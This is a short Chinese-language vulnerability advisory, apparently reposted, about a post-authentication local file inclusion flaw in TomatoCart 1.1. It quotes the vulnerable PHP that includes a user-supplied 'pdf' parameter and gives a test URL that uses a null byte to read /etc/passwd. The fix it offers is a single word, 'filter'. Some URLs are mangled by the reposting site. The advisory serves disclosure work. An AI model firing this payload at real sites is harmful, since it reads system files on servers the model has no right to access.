标题: TomatoCart 1.1 PostAuth Local File Include 作者: brain[pillow] 下载地址 http://HdhCmsTesttomatocart测试数据/ 影响版本: 1.1
缺陷代码分析:
if ($osC_Customer->isLoggedOn() === true) {
if (isset($_REQUEST['module'])) {
$module = $_REQUEST['module'];
$osC_Language->load($module);
}
HdhCmsTest2cto测试数据
if (isset($_REQUEST['pdf'])) {
$pdf = $_REQUEST['pdf'];
}
if (!empty($module) && !empty($pdf)) {
if (file_exists('includes/modules/pdf/' . $pdf . '.php')) {
include('includes/modules/pdf/' . $pdf . '.php');
$pdf_class = 'toC_' .ucfirst($pdf) . '_PDF';
$object = new $pdf_class();
$object ->render();
exit;
}
}
}
=========================================================
# 测试方法:
/pdf.php?module=1&pdf=etc/passwd%00
修复:过滤
查看更多关于TomatoCart 1.1预验证本地文件包含缺陷及修复 - 网站的详细内容...